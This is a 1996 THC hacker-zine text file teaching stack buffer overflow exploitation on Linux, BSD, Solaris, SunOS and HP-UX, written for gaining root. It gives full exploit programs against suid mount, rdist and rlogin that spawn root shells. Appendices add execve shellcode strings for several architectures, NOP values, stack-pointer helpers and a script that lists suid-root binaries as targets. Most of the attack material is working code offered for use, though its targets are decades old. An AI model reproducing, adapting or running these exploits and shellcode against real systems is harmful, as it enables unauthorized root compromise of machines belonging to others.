overflow.txt 30 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713
  1. -------------------------------------------------------------------------------
  2. øSTACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UXø
  3. -------------------------------------------------------------------------------
  4. øintroductionø
  5. ~~~~~~~~~~~~
  6. welcome to the world of stack overflows, actually i planned an article
  7. explaining the complete operation of stack overflows on pc based unix
  8. systems, but as i read the new phrack magazine issue #49 i realized that
  9. somebody else had already written this article. well, if you want to learn
  10. more about the backgrounds (assembler programming/debugging) of stack
  11. overflows on linux systems and want to read an excellent article get the
  12. latest phrack magazine issue #49, article 14 by aleph one, the most com-
  13. plete article i have ever seen, great job! (phrack49.zip)
  14. but if you are not interested in understanding hundreds of lines pure
  15. i80386 (disassembled) assembler code and want to have a more practical
  16. guide, continue reading this article in order to easily learn how to use
  17. overflow exploits on various unix systems.
  18. øcontentsø
  19. ~~~~~~~~
  20. [øaø] øthe stack - small backgroundø
  21. [øbø] østructure of the stackø
  22. [øcø] øabusing the return adressø
  23. [ødø] øexecuting a shell in assemblerø
  24. [øeø] øgetting the real stack adressø
  25. [øfø] øenvironment/command line variablesø
  26. [øgø] øclosing wordsø
  27. exploit[ø1ø] ømount.c - linux version: < 2.0.8ø
  28. exploit[ø2ø] ørdist.c - all bsd version: 2.0ø
  29. exploit[ø3ø] ørlogin.c - solaris version: 2.5 & 2.5.1ø
  30. appendix[øAø] øasm and c code for executionø
  31. appendix[øBø] ønop commands for different systemsø
  32. appendix[øCø] øget_sp() for different systemsø
  33. appendix[øDø] øfindsuid.sh - shellscriptø
  34. [øaø] øthe stack - small backgroundø
  35. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  36. the main function of every CPU is processing and moving of data. while
  37. processing or moving the CPU needs a place to fast save important
  38. information due the limited space of the registers. these information
  39. are saved to the stack. the stack is a special part of the memory that
  40. can be accessed with special and very fast commands. the stack is variable
  41. in length and position.
  42. e.g. if a register N is used and a sub-procedure is executed that also
  43. uses the register N the CPU will save the value of the register N
  44. onto the stack and restore it after the procedure has terminated. in
  45. order to improve the speed of this process, the CPU uses the special
  46. stack commands that are faster than normal movings in memory.
  47. e.g. if a procedure is executed the CPU needs to know where to return to
  48. if the procedure is terminated, the return adress is saved on the
  49. stack before executing the procedure and after terminatig the proce-
  50. dure the CPU jumps to the return adress stored on the stack.
  51. there is a second function of the stack. if a program creates or receives
  52. data, the new data field will be stored in the memory, all programs use
  53. dynamic data fields to store such information. the CPU creates such fields
  54. on the stack if they are needed and removes them if they are not needed
  55. anymore, local variables or arrays are dynamic.
  56. e.g. if a procedure should exchange two variables (a <-> b), it needs a
  57. third variable c to store one value: c <- a
  58. a <- b
  59. b <- c
  60. the variable c would be installed on the stack and removed after the
  61. procedure has terminated.
  62. for sure you now remember my introducing words promising something like
  63. "easily creating exploits without learning all the shit behind". well,
  64. i'm sorry but you have to know some of the backgrounds, and i try to
  65. explain these as simple as possible. (i could have explained everything
  66. in assembler code ;]
  67. [øbø] øthe structure of the stackø
  68. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  69. the stack is structured in a way that confuses some people sometimes (like
  70. me), the first stored value will be read as last and the last stored value
  71. will be read as first, this system is called "last in, first out" or LIFO.
  72. now let's take a closer look at the stack, imagine we have just executed
  73. a procedure in a program (just to keep your interest: we will later do
  74. this to gain r00t privileges). how does the stack look like if the
  75. procedure needs some own local (dynamic) variables?
  76. .
  77. .
  78. : ... . .
  79. |-----------------------:
  80. -2048 bytes | local array1[1024] | ...
  81. |-----------------------|
  82. -1024 bytes | local array2[1024] | size 1024 bytes
  83. |-----------------------|
  84. actual stack position | base pointer | size 4 bytes
  85. |-----------------------|
  86. +4 bytes | return adress | size 4 bytes
  87. |-----------------------|
  88. +4 bytes : parameters ... | ...
  89. . :
  90. . .
  91. as you see the different mentioned variables and information are stored on
  92. the stack. every CPU uses a stack pointer to mark the actual position, it
  93. is called SP. the interesting parts of the stack are the local array2 and
  94. the return adress, we don't care about the rest because we want to gain
  95. r00t access and that is all.
  96. [øcø] øabusing the return adressø
  97. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  98. as you remember before executing a procedure the CPU saves a return adress
  99. onto stack, if the procedure terminates the CPU will jump to the return
  100. adress and continue. but if procedure writes more bytes to a local vari-
  101. able as its size it will overwrite the return adress and this is called
  102. overflow.
  103. e.g. if (1024+8) 1032 times the character "X" is written to the local
  104. array2 in the picture above, the procedure will overwrite its own
  105. return adress. and the stack will look like this:
  106. .
  107. .
  108. : ... . .
  109. |-----------------------:
  110. -2048 bytes | local array1[1024] | ...
  111. |-----------------------|
  112. -1024 bytes | 1024 times "X" | size 1024 bytes
  113. |-----------------------|
  114. actual stack position | 4 times "X" | size 4 bytes
  115. |-----------------------|
  116. +4 bytes | 4 times "X" | size 4 bytes
  117. |-----------------------|
  118. +4 bytes : parameters ... | ...
  119. . :
  120. . .
  121. instead of writing the character "X" onto the return adress, we could
  122. write a new adress onto the stack, we would now force the program to jump
  123. to where we want!
  124. it would be very clever if we jump to an adress where we have placed
  125. some own assembler code that will do something interesting (what do you
  126. guess?), we could create this assembler code in the local variable; in
  127. the example local array2:
  128. .
  129. .
  130. : ... .
  131. |-----------------------:
  132. -2048 bytes | local array1[1024] |
  133. |-----------------------|
  134. -1024 bytes | our code | < -
  135. |-----------------------| |
  136. actual stack position | 4 bytes of crap | |
  137. |-----------------------| |
  138. +4 bytes | adress of our code | ___|
  139. |-----------------------|
  140. +4 bytes : parameters ... |
  141. . :
  142. .
  143. if the program is owned by r00t and has the suid flag so that a normal
  144. user can execute it and it will give the user r00t privileges as long
  145. as it is executed, our code could do something with r00t privilegs!
  146. but what?
  147. [ødø] øexecuting a shell in assemblerø
  148. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  149. if our code would execute a normal shell and we have created the over-
  150. flow in a program with the suid flag and it is owned by the r00t we would
  151. have a complete r00t shell and the system would finally be hacked. what
  152. we need right now is a short assembler code that will execute a shell,
  153. well it is not necessary to execute a shell you can also execute any other
  154. program.
  155. you can find the corresponding assembler code for the different systems
  156. in the appendix [A] in pure assembler and compiled in a c char field
  157. called "execshell".
  158. if you still want to know how to disassemble such a code read article 14
  159. of the phrack magazine #49 or contact me via email. "/bin/sh" has been
  160. added to the code in most cases (exceptions: sparc code), if you want to
  161. execute a different program just change the char field.
  162. in order to guarantee our code to function we copy it and lots of nops in
  163. the data field that will later be copied to the local variable. (nop is
  164. a shortform of "no operation"). this data field need to be bigger than the
  165. local variable in order to overwrite the return adress. in the following
  166. example lv_size is the size of the local variable we want to overflow and
  167. buffer is the name of the data field (that is also local).
  168. e.g. #define lv_size=1024
  169. char buffer[lv_size+8]
  170. we add exactly 8 bytes, take a closer look at the stack above and youl
  171. will know why. if we want to overwrite the return adress we have to over-
  172. write 4 bytes base pointer and 4 bytes return adress.
  173. the data field buffer should look like this:
  174. ... <nop> <nop> <nop> <nop> <nop> <code executing a shell>
  175. look at this c code in order to learn how we can do this, lv_size is a
  176. shortform of local variable size, execshell is the char field with our
  177. assembler code and the path of the shell we want to execute. ptr is a
  178. pointer to the field that we will copy over the local variable.
  179. e.g. the easy version: for(i=0;i<lv_size-strlen(execshell);i++)
  180. ptr[i]=0x90;
  181. for(i=0;i<strlen(execshell);i++)
  182. ptr[i+lv_size-strlen(execshell)]=execshell[i];
  183. e.g. the elegant way: memset(ptr,0x90,lv_size-strlen(execshell));
  184. ptr+=lv_size-strlen(execshell);
  185. for(i=0;i<strlen(execshell);i++)
  186. *(ptr++)=execshell[i];
  187. these examples are designed for pc based unix system because they use
  188. 0x90 which is the code for a nop command, on other platforms you have to
  189. use other codes for nops. i have included several codes for nops, take
  190. a look at appendix [B].
  191. i will use the easy version in my exploits because i'm not a professional
  192. c coder and i prefer indexing like it is used in assembler. now we have
  193. filled the buffer with our code and some nops and we are finally near our
  194. goal, becoming r00t.
  195. [øeø] øgetting the real stack adressø
  196. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  197. do you remember that the stack is variable in position and in length?
  198. if not, read [b] to fresh up your brain. we use a small function to get
  199. the actual stack adress by saving SP, this adress is the beginning of
  200. the stack before installing the local variables and the return adress,
  201. i will called it old SP (OSP) in the example.
  202. we have to add a variable offset to the OSP, this offset has to be that
  203. large that the CPU hits a nop when jumping to the return adress.
  204. .
  205. . .
  206. : .
  207. OSP -> |-----------------------: ------
  208. -2048 bytes | local array1[1024] | | offset
  209. |-----------------------| | larger
  210. -1024 bytes | <...> | | than
  211. | <nop> | | 1024
  212. | <nop> | ______|
  213. | <nop> | < - OSP + offset
  214. | <nop> | |
  215. | <our code> | |
  216. |-----------------------| |
  217. actual stack position | 4 bytes of crap | |
  218. |-----------------------| |
  219. +4 bytes | adress: OSP+offset | ___|
  220. |-----------------------|
  221. +4 bytes : parameters ... |
  222. . :
  223. .
  224. in the example we have a local variable in front of the manipulated
  225. variable, so we have to generate an offset that is larger than the size
  226. of this variable.
  227. in order to get the SP value, we use a function called get_sp(), of cause
  228. there are different methods to get this value on different unix system,
  229. i have included several versions in appendix [C]. ptr2 is a long or dword
  230. pointer to ptr which points to the return adress in the buffer.
  231. e.g. the correct code: ptr2=(long *)ptr;
  232. *ptr2=get_sp()+offset;
  233. e.g. the robust code: ptr2=(long *)ptr;
  234. for(i=1;i<8;i++)
  235. *(ptr2++)=get_sp()+offset;
  236. i will use the robust code in my exploits because it writes the return
  237. adress 8 times to the stack, if our estimated stack adress is wrong,
  238. we have still 7 other places where it could jump to.
  239. [øfø] øenvironment/command line variablesø
  240. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  241. you are for sure now tired of all this basic and theoratical stuff, you
  242. are right, it is time to find a target and attack it. the program that
  243. should be attacked has to be owned by root and has to be set suid. if
  244. you want to find some of these programs just use the the findsuid shell
  245. in appendix[D].
  246. if you have read the upper text parts carefully you now know how to over-
  247. flow the stack by using a local variable, but how can i detect that a
  248. program is vunerable to the overflow bug? there are two main ways of
  249. passing variables to a program the command line and environment variables.
  250. e.g. command line variable: cat /test.file
  251. ^ variable (type: char[256])
  252. after loading the machine code of the program and executing the first
  253. procedures the program will copy the command line into a buffer, if there
  254. is no size check you can use the command line to overflow the stack, in
  255. order to find out the size of the command line variable try some chars on
  256. the command line. (e.g. 1024+4, 256+4, 512+4,...) if the program reports
  257. "segmentation fault", you can use the program to get r00t access. of cause
  258. their exist programs with really huge command line e.g. 8000 bytes. if you
  259. have generated a list of suid/root files on your system, just try if there
  260. are vunerable on their command line. the second possibilty is to pass the
  261. variable by using an environment variable.
  262. e.g. environment variable: set TERM=1234
  263. the program will copy the evironment variable TERM to a buffer, but the
  264. size of this buffer can be different, in order to overflow it you need
  265. to check sizes like 256, 512, 1024, 2048 and so on. to find out which
  266. programs use environment variables is not that easy, of cause you can
  267. guess that some programs need to read system information from the en-
  268. viroment variables but the best way to find out is to look inside the
  269. c source files.
  270. In any case try to find out new vulnerable programs, because it is always
  271. better to use exploits that are not common and known to the huge crowd of
  272. lame exploit abusers.
  273. [øgø] øclosing wordsø
  274. ~~~~~~~~~~~~~~~~~
  275. after reading all this timewasting crap you should be able to generate
  276. overflow exploits yourself, as a small demonstration i included three
  277. sample exploits (which work). I modified the original sources so they've
  278. got the same variable names as in the examples so that it should be easy for
  279. you to understand the code.
  280. exploits: exploit[1] mount.c - linux version: < 2.0.8
  281. exploit[2] rdist.c - all bsd version: 2.0
  282. exploit[3] rlogin.c - solaris version: 2.5 & 2.5.1
  283. you have an undefined feeling in your stomach; if you want to complain
  284. about this article, if you want to flame or diss me, if you want to have
  285. more information, if you want to swap things or if you just want to leave
  286. a useless mail, feel free to contact me via e-mail...
  287. PLASMOID@USA.NET and soon on the THC server PLASMOID@INSECURITY.ORG
  288. if you are not linked to the internet contact me at the LORE BBS by van
  289. hauser/thc. you can also contact me via IRC i'm normally in the channel
  290. #bluebox if my account is not k-lined ;)
  291. - plasmoid/thc/deep
  292. The Hacker's Choice
  293. Drinking Evil Elite Phreakers
  294. plasmoid deep/thc <plasmoid@usa.net>
  295. -----BEGIN PGP PUBLIC KEY BLOCK-----
  296. Version: 2.6.3i
  297. mQCNAzJZDKwAAAEEANBXUFXqCzZLKuPj7OwB5O7thWOHlzzsi6SEZfsbiysPU4TL
  298. AMsBuCV4257Rr0//aEMt4CWjAkO3YWcBzBMvGQIDhT06v9SB4LZep6wJlSIsFK3v
  299. L1x+iYzSlvoXOHYSBcjoXA3sDm+kzz49to77Z20bJru7upjHD8iQeMWdAg+hAAUR
  300. tBtwbGFzbW9pZCA8cGxhc21vaWRAdXNhLm5ldD6JAJUDBRAyWQysyJB4xZ0CD6EB
  301. AQ6GBACB1n9DkgHfnC7D245MZPpacEHI8Jwj0DV6inV19E9qWf4VDdXA8+9YLuUV
  302. hsV1/WRX3sJWGWmAQASPitl2tc+7vWw6VC4gjif1XsRttIuNwmvU+DPY7ZULueFe
  303. bKoLI2zXsnWm/+8PMjc6GSYsNrXSpUjqkH6nIt6+sytm2QyWBw==
  304. =Vbcq
  305. -----END PGP PUBLIC KEY BLOCK-----
  306. øexploitø[ø1ø]
  307. ~~~~~~~~~~
  308. /* -------------------------------------------------------------------------
  309. mount.c - mount exploit for linux - version: < 2.0.10
  310. discovered by bloodmask&vio/couin
  311. coded by plasmoid/thc/deep for thc-magazine issue #3
  312. 12/12/96 - works also on umount
  313. ------------------------------------------------------------------------- */
  314. #include <stdio.h>
  315. #define lv_size 1024
  316. #define offset 30+lv_size+8*4
  317. // -------------------------------------------------------------------------
  318. long get_sp()
  319. {
  320. __asm__("movl %esp, %eax");
  321. }
  322. // -------------------------------------------------------------------------
  323. main(int argc, char **argv)
  324. {
  325. char execshell[] =
  326. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  327. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  328. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  329. char buffer[lv_size+4*8];
  330. unsigned long *ptr2 = NULL;
  331. char *ptr = NULL;
  332. int i;
  333. for(i=0;i<lv_size+4*8;i++)
  334. buffer[i]=0x00;
  335. ptr=buffer;
  336. for(i=0;i<lv_size-strlen(execshell);i++)
  337. *(ptr++)=0x90;
  338. for(i=0;i<strlen(execshell);i++)
  339. *(ptr++)=execshell[i];
  340. ptr2=(long *)ptr;
  341. for(i=1;i<2;i++)
  342. *(ptr2++)=get_sp()+offset;
  343. printf("discovered by bloodmask&vio/couin\ncoded by plasmoid/thc/deep\nfor thc-magazine issue #3\n");
  344. (void)alarm((int)0);
  345. execl("/bin/mount", "mount", buffer, NULL);
  346. }
  347. øexploitø[ø2ø]
  348. ~~~~~~~~~~
  349. /* -------------------------------------------------------------------------
  350. rdist.c - rdist exploit for freebsd & bsd/os - version: 2.0
  351. discovered by brian mitchell
  352. coded by plasmoid/thc/deep for thc-magazine issue #3
  353. 12/12/96
  354. ------------------------------------------------------------------------- */
  355. #include <stdio.h>
  356. #define lv_size 256
  357. #define offset 30+lv_size+8*4
  358. // -------------------------------------------------------------------------
  359. long get_sp()
  360. {
  361. __asm__("movl %esp, %eax");
  362. }
  363. // -------------------------------------------------------------------------
  364. main(int argc, char **argv)
  365. {
  366. char execshell[]=
  367. "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  368. "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  369. "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  370. "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  371. char buffer[lv_size+4*8];
  372. unsigned long *ptr2 = NULL;
  373. char *ptr = NULL;
  374. int i;
  375. for(i=0;i<lv_size+4*8;i++)
  376. buffer[i]=0x00;
  377. ptr=buffer;
  378. for(i=0;i<lv_size-strlen(execshell);i++)
  379. *(ptr++)=0x90;
  380. for(i=0;i<strlen(execshell);i++)
  381. *(ptr++)=execshell[i];
  382. ptr2=(long *)ptr;
  383. for(i=1;i<2;i++)
  384. *(ptr2++)=get_sp()+offset;
  385. printf("discovered by brian mitchell\ncoded by plasmoid/thc/deep\nfor thc-magazine issue #3\n");
  386. execl("/usr/bin/rdist", "rdist", "-d", buffer, "-d", buffer, NULL);
  387. }
  388. øexploitø[ø3ø]
  389. ~~~~~~~~~~
  390. /*
  391. * rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
  392. * by exploiting the gethostbyname() overflow in rlogin.
  393. *
  394. * gcc -o rlogin-exploit rlogin-exploit.c
  395. *
  396. * Jeremy Elson, 18 Nov 1996
  397. * jeremy.elson@nih.gov
  398. */
  399. #include <stdio.h>
  400. #include <stdlib.h>
  401. #include <sys/types.h>
  402. #include <unistd.h>
  403. #define BUF_LENGTH 8200
  404. #define EXTRA 100
  405. #define STACK_OFFSET 4000
  406. #define SPARC_NOP 0xa61cc013
  407. u_char sparc_shellcode[] =
  408. "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
  409. "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
  410. "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
  411. "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  412. "\x82\x10\x20\x3b\x91\xd4\xff\xff";
  413. u_long get_sp(void)
  414. {
  415. __asm__("mov %sp,%i0 \n");
  416. }
  417. void main(int argc, char *argv[])
  418. {
  419. char buf[BUF_LENGTH + EXTRA];
  420. long targ_addr;
  421. u_long *long_p;
  422. u_char *char_p;
  423. int i, code_length = strlen(sparc_shellcode);
  424. long_p = (u_long *) buf;
  425. for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  426. *long_p++ = SPARC_NOP;
  427. char_p = (u_char *) long_p;
  428. for (i = 0; i < code_length; i++)
  429. *char_p++ = sparc_shellcode[i];
  430. long_p = (u_long *) char_p;
  431. targ_addr = get_sp() - STACK_OFFSET;
  432. for (i = 0; i < EXTRA / sizeof(u_long); i++)
  433. *long_p++ = targ_addr;
  434. printf("Jumping to address 0x%lx\n", targ_addr);
  435. execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
  436. perror("execl failed");
  437. }
  438. øappendixø[øAø]
  439. ~~~~~~~~~~~
  440. -------------------------------------------------------------------------------
  441. linux/i80386+
  442. -------------------------------------------------------------------------------
  443. assembler code:
  444. ~~~~~~~~~~~~~~
  445. jmp end_of_code
  446. execve: popl %esi
  447. movl %esi,0x8(%esi)
  448. xorl %eax,%eax
  449. movb %eax,0x7(%esi)
  450. movl %eax,0xc(%esi)
  451. movb $0xb,%al
  452. movl %esi,%ebx
  453. leal 0x8(%esi),%ecx
  454. leal 0xc(%esi),%edx
  455. int $0x80
  456. xorl %ebx,%ebx
  457. movl %ebx,%eax
  458. inc %eax
  459. int $0x80
  460. end_of_code: call exec_prog
  461. .string "/bin/sh\"
  462. string for c code:
  463. ~~~~~~~~~~~~~~~~~~
  464. char execshell[] =
  465. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  466. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  467. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  468. -------------------------------------------------------------------------------
  469. bsd/os/i80386+ and freebsd/i80386+
  470. -------------------------------------------------------------------------------
  471. assembler code:
  472. ~~~~~~~~~~~~~~~
  473. jmp end_of_code
  474. execve: popl %esi
  475. leal (%esi), %ebx
  476. movl %ebx, 0x0b(%esi)
  477. xorl %edx, %edx
  478. movl %edx, 7(%esi)
  479. movl %edx, 0x0f(%esi)
  480. movl %edx, 0x14(%esi)
  481. movb %edx, 0x19(%esi)
  482. xorl %eax, %eax
  483. movb $59, %al
  484. leal 0x0b(%esi), %ecx
  485. movl %ecx, %edx
  486. pushl %edx
  487. pushl %ecx
  488. pushl %ebx
  489. pushl %eax
  490. jmp bewm
  491. end_of_code: call execve
  492. .string '/bin/sh'
  493. .byte 1, 1, 1, 1
  494. .byte 2, 2, 2, 2
  495. .byte 3, 3, 3, 3
  496. bewm: .byte 0x9a, 4, 4, 4, 4, 7, 4
  497. string for c code:
  498. ~~~~~~~~~~~~~~~~~~
  499. char execshell[]=
  500. "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  501. "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  502. "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  503. "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  504. ------------------------------------------------------------------------------
  505. solaris/sparc processor
  506. ------------------------------------------------------------------------------
  507. assembler code:
  508. ~~~~~~~~~~~~~~~
  509. sethi 0xbd89a, %l6
  510. or %l6, 0x16e, %l6
  511. sethi 0xbdcda, %l7
  512. and %sp, %sp, %o0
  513. add %sp, 8, %o1
  514. xor %o2, %o2, %o2
  515. add %sp, 16, %sp
  516. std %l6, [%sp - 16]
  517. st %sp, [%sp - 8]
  518. st %g0, [%sp - 4]
  519. mov 0x3b, %g1
  520. ta 8
  521. xor %o7, %o7, %o0
  522. mov 1, %g1
  523. ta 8
  524. string for c code:
  525. ~~~~~~~~~~~~~~~~~~
  526. char execshell[59]=
  527. 0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
  528. 0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
  529. 0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
  530. 0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x08,0x90,0x1b,0xc0,0x0f,
  531. 0x82,0x10,0x20,0x01,0x91,0xd0,0x20,0x08";
  532. optional version:
  533. char execshell[54]=
  534. 0x9fc0202c,0xc0247ff5,0xe227bff0,0xc027bff4,0x9207bff0,0x901d200a,
  535. 0x901a200a,0x8210203b,0x91d02008,0x82102001,0x91d02008,0xa3c3e004,
  536. "/bin/sh";
  537. ------------------------------------------------------------------------------
  538. sunos/sparc processor
  539. ------------------------------------------------------------------------------
  540. assembler code:
  541. ~~~~~~~~~~~~~~~
  542. sethi 0xbd89a, %l6
  543. or %l6, 0x16e, %l6
  544. sethi 0xbdcda, %l7
  545. and %sp, %sp, %o0
  546. add %sp, 8, %o1
  547. xor %o2, %o2, %o2
  548. add %sp, 16, %sp
  549. std %l6, [%sp - 16]
  550. st %sp, [%sp - 8]
  551. st %g0, [%sp - 4]
  552. mov 0x3b, %g1
  553. mov -0x1, %l5
  554. ta %l5 + 1
  555. xor %o7, %o7, %o0
  556. mov 1, %g1
  557. ta %l5 + 1
  558. string for c code:
  559. ~~~~~~~~~~~~~~~~~~
  560. char execshell[63]=
  561. 0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
  562. 0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
  563. 0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
  564. 0xfc,0x82,0x10,0x20,0x3b,0xaa,0x10,0x3f,0xff,0x91,0xd5,0x60,0x01,
  565. 0x90,0x1b,0xc0,0x0f,0x82,0x10,0x20,0x01,0x91,0xd5,0x60,0x01";
  566. ------------------------------------------------------------------------------
  567. hp-ux9/hp9000
  568. ------------------------------------------------------------------------------
  569. string for c code:
  570. ~~~~~~~~~~~~~~~~~~
  571. char execshell[]=
  572. "\x34\x59\x01\x02\x34\x5a\x01\x32\x37\x5a\x3e\xf9\x6b\x3a\x3f\x01" "\x63\x40\x3f\xff\x34\x5a\x01\x38\x63\x40\x3f\x35\x37\x5a\x3e\xf9"
  573. "\x6b\x3a\x3f\x09\x63\x40\x3f\xff\x0b\x5a\x02\x9a\x6b\x3a\x3f\x11"
  574. "\x34\x5a\x01\x22\x37\x5a\x3e\xf9\x6f\x3a\x3e\xf9\x20\x20\x08\x01"
  575. "\x34\x16\x01\x1e\xe4\x20\xe0\x08\x36\xd6\x3e\xf9\x0b\x5a\x02\x9a"
  576. "\x20\x20\x08\x01\x34\x16\x01\x0a\xe4\x20\xe0\x08\x36\xd6\x3e\xf9"
  577. "\xe8\x5f\x1f\x35\x0b\x5a\x02\x9a\x01\x01\x01\x01\x01\x01\x01\x01" "\x01\x01\x01\x01\x01\x01\x01\x01\x00/bin/sh";
  578. øappendixø[øBø]
  579. ~~~~~~~~~~~
  580. -------------------------------------------------------------------------------
  581. no operation - nop - for the different systems
  582. -------------------------------------------------------------------------------
  583. linux/i80386+ - char nop[1]=0x90;
  584. bsd/os/i80386+ and freebsd/i80386+ - char nop[1]=0x90;
  585. solaris/sparc processor - char nop[4]=0xac15a16e;
  586. sunos/sparc processor - char nop[4]=0xac15a16e;
  587. hp-ux9/hp9000 - char nop[4]=0xac15a16e;
  588. øappendixø[øCø]
  589. ~~~~~~~~~~~
  590. -------------------------------------------------------------------------------
  591. linux/i80386+ and bsd/os/i80386+ and freebsd/i80386+
  592. -------------------------------------------------------------------------------
  593. getting the stackpointer:
  594. ~~~~~~~~~~~~~~~~~~~~~~~~~
  595. long get_sp()
  596. {
  597. __asm__("movl %esp,%eax");
  598. }
  599. -------------------------------------------------------------------------------
  600. solaris/sparc processor and sunos/sparc processor
  601. -------------------------------------------------------------------------------
  602. getting the stackpointer:
  603. ~~~~~~~~~~~~~~~~~~~~~~~~~
  604. long get_sp()
  605. {
  606. asm("or %sp, %sp, %i0");
  607. }
  608. øappendixø[øDø]
  609. ~~~~~~~~~~
  610. --------------------------------------------------------------------[cut here]-
  611. #!/bin/sh
  612. # findsuid.sh by plasmoid/thc/deep
  613. # important directories for linux system, try different ones
  614. # for other systems (/usr/etc, /usr/local/bin, /usr/local/etc, /usr/sbin)
  615. find /bin -user root -perm +a=s > suid.lst
  616. find /sbin -user root -perm +a=s >> suid.lst
  617. find /usr/bin -user root -perm +a=s >> suid.lst
  618. find /etc -user root -perm +a=s >> suid.lst
  619. find /var -user root -perm +a=s >> suid.lst
  620. --------------------------------------------------------------------[cut here]-
  621. <END OF FiLE - THC iN 1996>
  622.